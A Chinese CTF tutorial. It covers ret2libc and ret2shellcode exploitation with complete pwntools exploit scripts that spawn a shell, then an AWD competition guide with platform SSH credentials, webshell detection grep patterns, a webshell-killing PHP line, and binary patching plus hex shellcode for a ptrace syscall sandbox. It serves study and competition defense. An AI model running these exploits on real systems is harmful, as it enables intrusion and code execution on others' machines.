ret2libc

ret2libc 则是用 dynamic link libraries 中的 gadget(虽然这个利用方法叫做 ret2libc,但是所有连接进来的动态链接库都可以作为 gadget 的来源)

ret2libc 和 ret2text 类似,但是由于动态链接库的特性所致,在利用时多出了一步,便是泄漏动态链接库的基地址。关于泄漏基地址,这里就要引入两个关于链接库装载的表,got 表和 plt 表。这里就不详细解释了,仅仅是简单的讲讲其基本的工作流程。

因为动态链接库的加载时的基地址是随机的,所以当程序调用动态链接库中的函数的时候,实际是转跳到预留在程序中的函数入口,即 plt。而执行到 plt 中后,会先检查对应的函数是否已经加载,如果已经加载,则根据 got 表中记录的地址转跳实际的函数地址。否则先调用加载函数(加载后的函数的地址记录在 got 表中),再转跳到对应的函数。大致的流程图如下:

由此,我们可以知道加载之后的函数地址储存在 got 表中,那么我们就可以想办法将 got 表中的内容输出出来,然后减去偏移,从而实现泄漏动态链接库的基地址(这里计算基地址的原理是动态链接库的加载也是通过映射文件实现的,一个链接库映射到一段连续的内存空间)。拿到基地址之后我们就可以加上偏移获得所需函数或者 gadget。

以下面这个程序为例,目标是获取 shell

// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

int main() {
    char str[0x20];
    puts("Hello, world!");

    read(0, str, 0x100);

    return 0;
}

可以得到如下脚本:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x00000000004011F3

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

main_addr = elf.sym["main"]

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.send(payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

gdb.attach(p)
p.send(payload)

p.interactive()

但是通过调试会发现程序会在执行到下图这个阶段的时候无法正常执行。这个是因为 xmm0 等寄存器是 128 位的,当往内存里存取值的时候,指针需要对齐到 0x10,而此时 rsp + 0x50 的末位为 8,并没有对齐,最终导致程序异常。

解决方法也很简单,只需在 payload 中加一个 ret 即可(具体原理就留给大家自己思考了)。最终脚本如下:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x00000000004011F3
ret = 0x000000000040101A

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

main_addr = elf.sym["main"]

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.send(payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

gdb.attach(p)
p.send(payload)

p.interactive()

下图就是栈帧的变化过程:

ret2shellcode

如果程序的内存中有一段可写且可执行的内存的话(如没开 NX 保护时的栈,mmap 申请出来的内存空间,mprotect 修改权限后的内存等),可以通过提前向其中写入 shellcode,然后再通过控制返回地址使程序执行 shellcode。

ret2shellcode 一般用于没开 NX 保护或需要实现的功能比较的复杂时使用(如反弹 shell)。具体如何通过栈溢出控制程序流执行 shellcode 这里就不过多分析了,这里主要讲讲如何生成 shellcode。以下面这个程序为例(目标是获取 shell):这个程序首先通过 mmap 申请了一块有执行权限的内存,起始地址为 0xdead0000,然后通过 read 读入内容,同时后面还有一个栈溢出。

// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>
#include <stdlib.h>

int main() {
    mmap(0xdead0000, 0x1000, 7, 0x21, -1, 0);

    char *p = (char *)0xdead0000;
    char str[0x20];

    read(0, p, 0x1000);

    read(0, str, 0x50);

    return 0;
}

对应的 exp:

#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")

p.send(asm(shellcraft.sh()).ljust(0x1000, b"\x00"))

payload = b"A" * 0x38
payload += p64(0xDEAD0000)
p.send(payload)

p.interactive()

上面这个 exp 中,shellcraft.sh() 函数用于生成获取 shell 的 shellcode 的汇编指令,而 asm 函数用于将汇编指令转化为机器码。

ret2syscall

咕咕咕

栈迁移

咕咕咕

 

 

关于 AWD

简介

「 攻防模式 | AWD (Attack With Defense) 」 是 CTF 比赛 「CTF Capture The Flag」 几种主要的比赛模式之一,该模式常见于线下赛,在该模式中,每个队伍都拥有一个相同的初始环境 ( 我们称其为 GameBox ),该环境通常运行着一些特定的服务或应用程序,而这些服务通常包含一些安全漏洞。参赛队伍需要挖掘利用对方队伍服务中的安全漏洞,获取 Flag 以获得积分 ; 同时,参赛队伍也需要修补自身服务漏洞进行防御,以防被其他队伍攻击和获取 Flag。

类别

根据题目漏洞点或者方向可分为 Web-AWD 和 PWN-AWD,考察内容和对应方向类似。

Web-AWD

  • 目标: Web 应用或服务的服务器。
  • 常见挑战: SQL 注入、XSS(跨站脚本攻击)、CSRF(跨站请求伪造)、文件上传漏洞等 OWASP(Open Web Application Security Project)」 漏洞。
  • 防守策略: 高危代码修补,规则过滤,输入输出过滤,基础 WAF 编写(非通防)等。
  • 技能要求: 需要良好的 Web 安全基础。

PWN-AWD

  • 目标: 底层漏洞利用,例如缓冲区溢出、整数溢出等。
  • 常见挑战: Stack Buffer Overflow、Heap Overflow、Format String Bugs 等。
  • 防守策略: 使用各种内存保护机制(如 ASLR、NX、Canary)和补丁。
  • 技能要求: 深入了解操作系统、C/C++ 编程,以及逆向工程。

特点

该模式通常具备以下特点 :

  • 实时性强: 攻防模式可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负。
  • 全面性: 该模式不仅测试参赛队伍的攻击能力,还测试他们的防御和团队协作能力。
  • 高度动态: 参赛队伍可能需要不断地更新和调整防御策略,以应对不断变化的攻击环境。

元素

该模式通常包含以下元素 :

目标标志(Flag): 类似密码或特殊字符串,存储在服务中,需要被取出以获得积分。

积分板(Scoreboard): 显示各队伍的积分,通常实时更新。

漏洞利用(Exploit): 队伍开发或使用已有的攻击代码,以攻击对手。

修补(Patch): 当找到漏洞后,队伍需要尽快修补自己的系统,防止被攻击。

日志和监控(Log and Monitor): 为了更好地进行防御和攻击,队伍通常需要设置日志和监控系统。

规则

该模式通常采用 **「 零和积分方式(Zero-Sum Scoring)」** 即 一个队伍从另一个队伍那里获得积分(通常是通过成功的攻击和获取标志)时,被攻击的队伍将失去相应的积分。

通常情况下 :

  • 每个队伍会被给定一个初始分数 ( 根据比赛时间 难度等多维度预估 )。
  • 通常以 5/10 分钟为一个回合,每回合刷新 Flag 值或者重置 Flag 提交冷却时间。
  • 每回合内,一个队伍的一个服务被渗透攻击成功(被拿 Flag 并提交),则扣除一定分数,攻击成功的队伍获得相应分数。
  • 每回合内,如果队伍能够维持自己的服务正常运行,则分数不会减少;
  • 如果一个服务宕机或异常无法通过测试,则会扣分。在不同规则下,扣除的分数处理不同,在一些规则下为仅扣除,一些则为正常的队伍加上平均分配的分数。
  • 在某些情况下,环境因自身或者其他原因导致服务永久损坏或丢失,无法恢复,需要申请环境重置。根据比赛规则的不同,一些主办方会提供重置服务,但需要扣除对应分数 ; 也有可能主办方不提供重置服务,则每轮扣除环境异常分。

环境

根据物理环境的不同,即 线上 AWD 和 线下 AWD ,参赛队伍可能会有不同的配置需求,该差异主办方会提前下发材料说明。无论线下还是线上,该模式的环境都具有以下共同特点。

  • 环境由 选手终端,GameBox,FlagServer 三部分组成
  • 选手终端在线上可采取 VPN 接入,Web 映射转发接入等多种接入方式;选手终端在线下则需要自行配网(通常主办方会给出配网引导文件)方式可能为 WIFI 接入或者 使用网线和标准的 RJ45 接口进行连接。

  • GameBox 通常位于同一个 D 段中,主办方通常会提供 ip 资产列表,其中 IP 通常与队伍序号或者 ID 对应。

  • GameBox 一般使用 ssh 进行登录管理,登录方式为密码或者私钥。
  • FlagServer 提供类似 Flag 提交的相关服务。

平台

国内目前能够提供 AWD 训练的平台:

NSSCTF

  • 上线不久的 AWD 功能,题目比较少但持续更新。

  • 每隔一段时间会有官方 AWD 比赛,也可自定义比赛。

Bugku

  • 国内成熟的 AWD 供应平台,题目基数大。

  • 定期会有排位赛,也可自定义比赛训练。

 

AWD 平台

国内目前能够提供 AWD 训练的平台:

NSSCTF

  • 上线不久的 AWD 功能,题目比较少但持续更新。

  • 每隔一段时间会有官方 AWD 比赛,也可自定义比赛。

Bugku

  • 国内成熟的 AWD 供应平台,题目基数大。

  • 定期会有排位赛,也可自定义比赛训练。

NSSCTF 使用

流程

请在进行比赛前仔细阅读平台规则。

报名比赛

登录 NSSCTP 平台后 在上方导航栏中选择 比赛

跳转到比赛页面后 在右侧功能区的 来源 选择 自定义竞赛

权限 选择为 公开 时 可报名公开比赛 私密 同理 但需要提供比赛密码。

报名成功后,

在比赛开始前 点击 已报名 即可进入比赛界面 以配置队伍;

若比赛 已开始 或者 已结束 则点击绿色的 进入 可进入比赛页面

通过输入队伍 token 加入队伍。

比赛开始后,点击 进入 按钮进入比赛

在比赛主页 会显示比赛信息,右侧会显示计分板。

在赛题选项中查看队伍 GameBox 信息,计分板会一直跟随显示。

建立连接

beescms(AWD)

题目描述:NULL

攻击标识:curl http://flagserver/flag?token=NSS_XDNEMU
状态:
运行中

题目端口:80

靶机地址:sjcyns1995-1.ecs190.awd.nssctf.cn

SSH端口:22300

SSH用户密码:nss/265i7ckumxqh

对于该靶机,我们使用 ssh 如下指令可建立连接:

ssh nss@sjcyns1995-1.ecs190.awd.nssctf.cn -p 22300

通常为了方便管理,我们会依赖一些 ssh 工具,因为他们会集成一些 诸如 文件下载 修改的交互功能。

备份加固

通常我们选择将整个 www 文件夹 下载下来

  • 用作备份
  • 本地审计加固

攻击得分

另一队视角:

在对方机器上面任意能够执行命令的地方成功运行攻击标识时,我方得分,对方扣分 ( NSS 平台目前为被攻击不扣分) :

攻击成功后,在服务器 check 后则会反应得分情况:(分数数据会稍有延迟)

每一轮中,对每个队伍只能攻击成功一次:

规则

见 [ Version 2.4 更新说明 ] ,内容如下:

  • 在 NSS AWD 中,你只需要向 flagserver 发送相应的请求即算攻击成功。例如题目界面为

  • 这里你只需要成功入侵其他队伍 / 人员靶机后发起这个请求即算攻击成功,你可以通过 flagserver 的返回内容判断是否攻击成功,响应如下
code: 0, 攻击成功
code: -1, 参数不全,例如token没有带上
code: -2, 无效的Token参数,请检测token是否正确或者是否被过滤
code: -3, 您不能攻击自己的靶机
code: -4, 该轮已攻击过当前靶机,每轮只会有一次请求会被判定为有效攻击
code: -5, 还未到攻击时间
code: -999, 其他错误
  • 开赛后你可以通过 SSH 服务登录自己(队伍)的靶机进行源码下载、防御部署等服务。每个队伍的 SSH 端口和密码都不相同,你可以通过下列命令进行登录
ssh nss@靶机地址 -p SSH端口
  • 同样你也可以使用其他 SSH 管理软件进行访问。
  • 你不需要扫描其他服务器的地址 ,可在题目界面右侧获得本题所有 靶机地址 (包括自己的也在内)用于编写自动化脚本。
  • 同时所有题目除了 题目端口 和 SSH 端口 外,其他端口上不包含任何题目相关信息。你不需要对靶机服务器发起端口扫描。
  • 攻击成功的反馈不会实时更新在页面上,你可以通过上述提到的 flagserver 返回内容来进行判定。
  • 服务器会在每轮 随机 时间对靶机进行检查,检查内容包括但不限于
  • 特定内容是否存在
  • 特定功能是否可用
  • 特定流程是否完整
  • 任意一项检查不可用时将会判断服务器为宕机,并进行扣分,服务器状态会在每轮结束时进行更新,请不要对靶机上的正常功能或题目描述中指定的特殊内容进行修改,被判定宕机你可以通过备份更新等操作重新恢复(服务器状态不会立即更新,同样是在每轮结束时进行更新)

 

建立信息网络

《孙子兵法 · 谋攻》:「知彼知己,百战不殆。」

组件发现

find / -name "nginx.conf"                 #定位nginx目录
find / -path "*nginx*" -name nginx*conf   #定位nginx配置目录
find / -name "httpd.conf"                 #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录

网站发现

通常都位于 /var/www/html 中,如果没有试试 find 命令

find / -name "index.php"   #定位网站目录

日志发现

对日志的实时捕捉,除了能有效提升防御以外,还能捕捉攻击流量,得到一些自己不清楚的攻击手段,平衡攻击方和防守方的信息差。

/var/log/nginx/        #默认Nginx日志目录
/var/log/apache/       #默认Apache日志目录
/var/log/apache2/      #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log        #实时刷新滚动日志文件

以上是定位常见文件目录的命令或方法,比赛需要根据实际情况类推,善用 find 命令!

文件监控

文件监控能及时木马文件后门生成 , 及时删除防止丢分。

其他命令

netstat -ano/-a    #查看端口情况
uname -a           #系统信息
ps -aux ps -ef     #进程信息
cat /etc/passwd    #用户情况
ls /home/          #用户情况
id                 #用于显示用户ID,以及所属群组ID
find / -type d -perm -002      #可写目录检查
grep -r “flag” /var/www/html/  #查找默认FLAG

口令更改

这里需要更改的口令包括但不限于服务器 SSH 口令、数据库口令,WEB 服务口令以及 WEB 应用后台口令。

passwd username    #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www//html -path '*config*’                #查找配置文件中的密码凭证

建立备份

除了攻击成功可以让对手扣分,还能破坏对方环境使其宕机被 check 扣分;同时己方也有可能在修复过程中存在一些误操作,导致源码出错,致使服务停止;对页面快速恢复时,及时备份是必要的,因此页面备份至关重要。

压缩文件

要注意的是 有的题目环境可能不支持 zip

tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压文件

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份到服务器

mv web.tar /tmp
mv web.zip /home/xxx

上传下载文件

scp username@servername:/path/filename /tmp/local_destination  #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path             #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir          #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir           #从本地上传整个目录到服务器

备份指定数据库

数据库配置信息一般可以通过如 config.php/web.conf 等文件获取。

mysqldump –u username –p password databasename > bak.sql

备份所有数据库

mysqldump –all -databases > bak.sql

导入数据库

mysql –u username –p password database < bak.sql

代码审计

将备份下载下来后,立即在本地开展审计工作,确定攻击手段和防御策略,要注意因为 awd 时间短,且代码量多所以考核的题目应该也不会太难,通常不会涉及到太难的代码审计。

  • D 盾:查杀后门
  • seay 源代码审计:审计代码

一般 AWD 模式中存在的后门:

  • 官方后门 / 预置后门
# 可以使用下面的代码进行查找
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
  • 常规漏洞 如 SQL 注入 文件上传 代码执行 序列化及反序列化 ...

  • 选手后门(选手后期传入的木马)

漏洞修复

在代码审计结束后,及时对自身漏洞进行修补,要注意的是漏洞修复遵循保证服务不长时间宕机的原则, 应当多使用安全过滤函数,能修复尽量修复 , 不能修复先注释或删除相关代码,但需保证页面显示正常。

应急响应

通过命令查看可疑文件:

find /var/www/html -name *.php -mmin -20                         #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u                    #寻找行数最短文件
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html      #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

不死马查杀

杀进程后重启服务,写一个同名的文件夹和写一个 sleep 时间低于别人的马 (或者写一个脚本不断删除别人的马)

比如写个马来一直杀死不死马进程:

<?php system("kill -9 pid;rm -rf .shell.php"); ?>  #pid和不死马名称根据实际情况定

后门用户查杀

UID 大于 500 的都是非系统账号,500 以下的都为系统保留的账号,使用 userdel -r username 完全删除账户

其他查杀

部分后门过于隐蔽,可以使用 ls -al 命令查看所有文件及文件修改时间和内容进行综合判断,进行删除。可以写脚本定时清理上传目录、定时任务和临时目录等

进程查杀

ps -aux  #查看进程
kill -9 pid #强制进程查杀

关闭端口

netstat -anp  #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙

*咳咳,本着不重复造轮子的原则( 才不是懒 ww,经验中大部分内容就直接搬过来了,稍微改了下分组和补充了点内容,原 【先知社区】AWD 比赛入门攻略总结

 

开始之前: 在了解 AWD 的 PWN 之前,我们需要考虑 AWD 中 PWN 的位置,在大部分 AWD 比赛中,WEB 的得分都会变得非常困难,其涉及知识面广,难度大,调试时间长,并且简单的修复也可能会需要很长的时间,但 PWN 相对没有那么复杂。

就算是这两年很火的 LLVM 等题型,其实也就是加大了逆向难度,而 PWN 本身难度依然不大,因此,大部分的比赛中,PWN 都会成为拉开差距的点,虽然攻击依旧困难,但是修复是相对很简单的(只要出题人别瞎出。。)

PWN 题攻击

这个其实就没什么好说的了,和常规 CTF 那是一模一样的,比较大的区别应该就是 AWD 中的 PWN 一般很少会出堆题,主要是因为太好修了。。。为了应对这个问题,出题人也经常会将堆和栈结合在一起出,比较经典的就是 setcontext、打 environ 指针之类的方法,具体怎么修我们下文中会提。

PWN 题修复

关于 pwn 的修复这个东西我们这里考虑两种场景,第一个给了源码时的修复,第二个是没给源码时的修复

有源码时的基础修复

先考虑有源码时的修复,这个其实很好操作,主要是熟练 gcc g++ 的各种指令,还有就是要能快速发现漏洞点,由于 pwn 题中经常是溢出类题型和 UAF 类题型偏多,所以要分别考虑这两种情况,先看有码的溢出类题型(要非常注意 strcat strcpy 等会造成 off by null 的函数

int main(){
    char buf[24];
    scanf("%s", buf);
    return 0;
}

像这种那肯定是改 %s 为 %23s,不能有更长的了,或者适当增扩 buf 的大小,而且它方法也是类似的,有源码的情况下那可太好修复了

无源码时的程序修改

那么无源码应该怎么修复?这似乎就是 pwn 里面的 patch 了

先列出来几张表,下面是 jmp 的相关指令,对于负数等情况需要用到

指令机器码指令机器码
jmp EB XX jz 74 XX
je 74 XX jne 75 XX
jg 7F XX jge 7D XX
jl 7C XX jle 7E XX
ja 77 XX jae 73 XX
jb 72 XX jbe 76 XX
jna 76 XX jnb 73 XX
jnae 72 XX jnc 73 XX
jnb 73 XX jng 7E XX
jnge 7C XX jnl 7D XX

现在我们以单纯的篡改程序的思想来看下面这个逻辑(注意不是修复哦,只是试一试改程序)

这是一个很明显的 canary,那么我们想让这个 canary 反过来应该怎么做呢?即不溢出的时候调用 __stack_chk_fail,溢出的时候不调用

选择 IDA 中的 key -> patcher

可以发现 jz 的指令是 74 05,即 jz $.+5,我们将其修改为 jnz

指令就变成了 75 05,当然,也可以使用 pwntools 的 asm,也可以帮助我们快速找 opcode

然后选择 IDA 中的 edit ->patch program -> apply patches to input file 即可保存文件,然后去跑一跑就会发现雀食达到了我们要的效果

常规补丁

好这是上面是第一个最简单的 patch 修改指令,下面我们来一个难点的,对于 scanf("%s") 我们应该如何 patch?

我搜了很多其他师傅的思路,第一个是利用 eh_frame 段,这个段在程序正常运行的时候一般用不到,但是它是被赋予了 X 权限的,也就是说可执行,你比如说对于这个

这里 call 了 __isoc99_scanf 的 PLT,那么我们在 eh_frame 上自己写一个函数,让它 call 到我们自己的函数上去,而我们自己的函数我们就严格限制输入大小,注意这里传入的第二个参数为缓冲区地址

我们这里非常简单暴力,自己通过 syscall 来输入,然后我们去修改 eh_frame,编写如下脚本用于生成字节码

from pwn import *

context.arch = 'amd64'

code = '''
    xor rdi, rdi
    mov rdx, 23
    xor rax, rax
    syscall
    ret
'''

for i in list(asm(code, arch='amd64')):
    print(hex(i)[2:].rjust(2, '0'), end = ' ')
print()

然后去修改 call scanf

最后,修改 call scanf 到 call eh_frame 上来,由于这里我们开了 PIE,所以需要 call 一个相对坐标

先看看原本的地方

我们需要把这个函数除了对我们有用的部分全部劫持到我们在 eh_frame 上的代码,多余的部分全部改为 nop

这是我改完以后的,主要就是 lea r15, qword_2050 这个点,我们需要使用相对寻址来计算目标代码的位置,生成 opcode 的代码如下,当然也可以直接用 keypatch

from pwn import *

context.arch = 'amd64'

code = '''
    lea r15, [rip + 0xec5]
    lea rsi, [rbp - 0x20]
    call r15
'''

for i in list(asm(code, arch='amd64')):
    print(hex(i)[2:].rjust(2, '0'), end = ' ')
print()

至于这个 0xec5 怎么来的,首先,lea 的长度为 7,所以 lea 的下一条指令的地址是 0x118b,使用 0x2050 - 0x118b 得到 0xec5

好了现在我们将程序打包到 gdb 里调试看看

现在雀食是可以跳转过来执行了,但是还有最后的问题,即 eh_frame 没有执行权限,这个我们通过 IDA 修改 ELF 的头来实现

Type 一定得是 LOAD,而我们的补丁打在第三个 LOAD 里,所以我将 Flags 修改为了 7,当然啊,这样做其实是非常不负责的,但是做题嘛,怎么快怎么来,如果想要负责的话,那就得加一个 LOAD,并且还需要处理好 PIE,至少现在是正常跑起来了也不会溢出

替换 PLT|GOT 修复

如果说程序东西不多而且敏感函数就调用那么一两次的话我们也可以通过修改重定位表来修复

先来看源码

#include<stdio.h>

int main(){
        char buf[24];
        scanf("%s", buf);
        printf(buf);
        return 0;
}

这里我们只考虑修复 printf 而不考虑修复 scanf,修 scanf 参考上文的方案即可

编译

gcc replace_plt.c -o replace_plt -fno-stack-protector -z lazy

修 printf,这里我们通过篡改 printf 为 puts 来实现,但是源程序里并没有 puts,所以需要更改 dyn

我们找到 printf 的 dynsym

我们去修改 printf 为 puts

然后 patch,再次打开程序的时候可以发现就变成 puts 了

这里涉及到的其实是一个 ret2resolve 里的小知识,我们简单提一嘴,就是 Libc 动态链接的过程其实是依靠函数名的,虽然我们平时看到的 PLT GOT 等表中都没有包含函数名,但实际上它储存了一些索引,方便动态链接函数通过 PLT 找到这个函数名,最后再通过去 Libc 中对比函数名寻找真实的函数地址,因此修改函数名的修复是有效的,玩的花一点我们还可以把 free 的函数名修改为 atoi 之类的东西,直接 pass 掉大部分堆题。。

不过这样其实还是有问题,因为我们这里使用的是 puts,它比 printf 短,那如果需要替换为 __printf_chk 呢?

还是使用到了 eh_frame 段,主要是因为这个段一般真用不到,不会影响程序正常运行,不过如果想的话也可以自己再加点东西进来

然后修改 printf 到这里来 0x2060 - 0x488 = 0x1bd8

最后我们执行 

虽然说报错了,但是可以发现报错信息也只是说找不到这个符号,我们的替换还是正确的,换成别的函数是没问题的,只是 IDA 这个地方会报错,但是不影响

堆题的一些通用修复

我们都知道堆题高度依赖于 free 函数,如果说 malloc 等函数的不正确使用是造成漏洞的主要原因(比如说溢出就属于长度没控制好),那 free 就是触发漏洞的关键,当然了,还有别的触发方式,我们这里不深入

那么我们如何修复 free 呢?很简单啊, nop 掉就完事了,这样的做法有时候在比赛中比较管用,但也不是啥时候都管用,因此我们还有另外几种方案

因为现在的 PWN 题运行过程动不动就有个 5s 以上(比如说要打 IO 爆破),而 checker 的运行只有短短 1~5 秒,那么为什么不从 alarm 上下手呢?

alarm 函数会在时间到了以后强制结束进程,那么我们可以 patch 程序最开始的 alarm(60) 为 alarm(3),这样就有可能造成 checker 通过而 exp 不通过,从而通过 check 逻辑

通防

EVILPATCHER

这个东西是我在某次比赛中看到的,基本上通杀。。神挡杀神佛挡杀佛,那次比赛吃了大亏,全场貌似就包括我在内的少数几个人不知道这东西,我们就简单给出链接吧

https://github.com/TTY-flag/evilPatcher

自制通防思路

写在前面: 这种方法对于 Docker 环境不适用,因为需要 Docker 开启 CAP_SYS_PTRACE 权限,但是这玩意会导致 Docker 逃逸,不过当然了,如果是纯黑盒的话,想逃还是很难的,360 等平台使用的似乎就是 Docker 的环境,而永信至诚的平台似乎是 VM 环境,这种方法可以使用

开始吧: 要拼速度的话,慢慢找洞慢慢替换肯定是不行的,所以要提前准备好通防操作,在 pwn 中,通防肯定就是不让你开 shell 不让你读文件了,主要就是要关掉 open openat execve 等系统调用了

这里的我的思路是将注入代码写入 eh_frame 中,并且劫持程序入口到这个地方来,先执行注入逻辑,将原本的进程作为子进程启动,父进程通过 ptrace 等函数来监控子进程的行为,如果发现子进程调用了 open openat execve 等函数,那么就 kill 掉子进程

shellcode 的 C 版本如下,为了避免外部引入的库函数用到了 plt 等结构(用到了的话就 g 了),如 ptrace 等函数我都换成了用汇编编写的 syscall

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <stdio.h>

void d(){  
    register pid_t child;
    int status;

    struct user_regs_struct regs;

    asm(
        "movq $57, %%rax;"
        "syscall;"
        "movl %%eax,%0":"=r"(child)
    );
    if(child == 0) {
    asm(
        "movl $101, %eax;"
        "xorq %rsi, %rsi;"
        "xorq %rdx, %rdx;"
        "xorq %r10, %r10;"
        "xorq %rdi, %rdi;"
        "syscall;" //ptrace(PTRACE_TRACEME)
        "movl $39, %eax;"
        "syscall;" 
        "movl %eax, %edi;"
        "movl $19, %esi;"
        "movl $62, %eax;"
        "syscall;"
    );
    //kill(getpid(), 19);
    goto end;
    } else {
    asm(
        "movl $61, %eax;"
        "xorq %rdi, %rdi;"
        "syscall;"      
    );
    //wait(NULL);
    while(1){
        asm(
            "movl %0, %%esi"::"r"(child):"%esi"
        );
        asm(
            "movl $101, %eax;"
            "movl $24, %edi;"
            "xorq %rdx, %rdx;"
            "xorq %r10, %r10;"
            "syscall;"
        );              //ptrace(PTRACE_SYSCALL, child, NULL, NULL);
        void *p = (void *)&status;
        asm(
            "movl %0, %%edi"::"r"(child):"%edi"
        );
        asm(
            "movq %0, %%rsi"::"r"(p):"%rsi"         
        );
        asm(
            "xorq %rdx, %rdx;"
            "movl $61, %eax;"
            "syscall;" //waitpid(pid)
        );
        void *regs_addr = (void *)&regs;
        asm(
            "movq %0, %%r10"::"r"(regs_addr):"%r10"
        );
        asm(
            "movl %0, %%esi"::"r"(child):"%esi"
        );
        asm(
            "movl $12, %edi;"
            "xorq %rdx, %rdx;"
            "movl $101, %eax;"
            "syscall;"      //ptrace(PTRACE_GETREGS)
        );
        if((regs.orig_rax >= 56 && regs.orig_rax <= 59 ||
          regs.orig_rax == 231)){
        asm(
            "movl %0, %%edi"::"r"(child):"%edi" 
        );
        asm(
            "movl $9, %esi;"
            "movl $62, %eax;"
            "syscall;"
        );
        //kill(child, 9);
        break;
        }
    }
    asm(
        "movl $555, %edi;"
        "movl $60, %eax;"
        "syscall;"
    );
    }
end:
return;
}

int main(){
    d();
    //execl("/bin/ls", ".");
    system("ls");
    return 0;
}

现在只要调用到了 execve clone vfork fork 等系统调用就会被拦截然后强制终止程序的执行,限制执行了 system,如果没有 d 函数执行的话应该是会执行 ls 指令的,但是现在 d 函数开启了沙盒,那么按道理来说会直接退出

可以发现去雀食没有执行了

后面我又加了几段代码用来平衡栈和保存环境

生成完的 shellcode 如下(没有包含 jmp start,64 位,这个 shellcode 不包含 open 和 openat

57 56 52 51 55 48 89 E5 53 48 83 EC 78 48 C7 C0 
39 00 00 00 0F 05 89 C0 89 C3 85 DB 75 2D B8 65 
00 00 00 48 31 F6 48 31 D2 4D 31 D2 48 31 FF 0F 
05 B8 27 00 00 00 0F 05 89 C7 BE 13 00 00 00 B8 
3E 00 00 00 0F 05 E9 97 00 00 00 B8 3D 00 00 00 
48 31 FF 0F 05 89 DE B8 65 00 00 00 BF 18 00 00 
00 48 31 D2 4D 31 D2 0F 05 48 8D 45 E4 48 89 45 
F0 89 DF 48 8B 45 F0 48 89 C6 48 31 D2 B8 3D 00 
00 00 0F 05 48 8D 85 08 FF FF FF 48 89 45 E8 48 
8B 45 E8 49 89 C2 89 DE BF 0C 00 00 00 48 31 D2 
B8 65 00 00 00 0F 05 48 8B 45 80 48 83 F8 37 76 
0A 48 8B 45 80 48 83 F8 3B 76 0C 48 8B 45 80 48 
3D E7 00 00 00 75 8E 89 DF BE 09 00 00 00 B8 3E 
00 00 00 0F 05 90 BF 2B 02 00 00 B8 3C 00 00 00 
0F 05 90 48 83 C4 78 5B 5D 59 5a 5e 5f

包含 open 和 openat 的 shellcode

57 56 52 51 55 48 89 E5 53 48 83 EC 78 48 C7 C0 
39 00 00 00 0F 05 89 C0 89 C3 85 DB 75 2D B8 65 
00 00 00 48 31 F6 48 31 D2 4D 31 D2 48 31 FF 0F 
05 B8 27 00 00 00 0F 05 89 C7 BE 13 00 00 00 B8 
3E 00 00 00 0F 05 E9 B1 00 00 00 B8 3D 00 00 00 
48 31 FF 0F 05 89 DE B8 65 00 00 00 BF 18 00 00 
00 48 31 D2 4D 31 D2 0F 05 48 8D 45 E4 48 89 45 
F0 89 DF 48 8B 45 F0 48 89 C6 48 31 D2 B8 3D 00 
00 00 0F 05 48 8D 85 08 FF FF FF 48 89 45 E8 48 
8B 45 E8 49 89 C2 89 DE BF 0C 00 00 00 48 31 D2 
B8 65 00 00 00 0F 05 48 8B 45 80 48 83 F8 37 76 
0A 48 8B 45 80 48 83 F8 3B 76 26 48 8B 45 80 48 
3D E7 00 00 00 74 1A 48 8B 45 80 48 83 F8 02 74 
10 48 8B 45 80 48 3D 01 01 00 00 0F 85 74 FF FF 
FF 89 DF BE 09 00 00 00 B8 3E 00 00 00 0F 05 90 
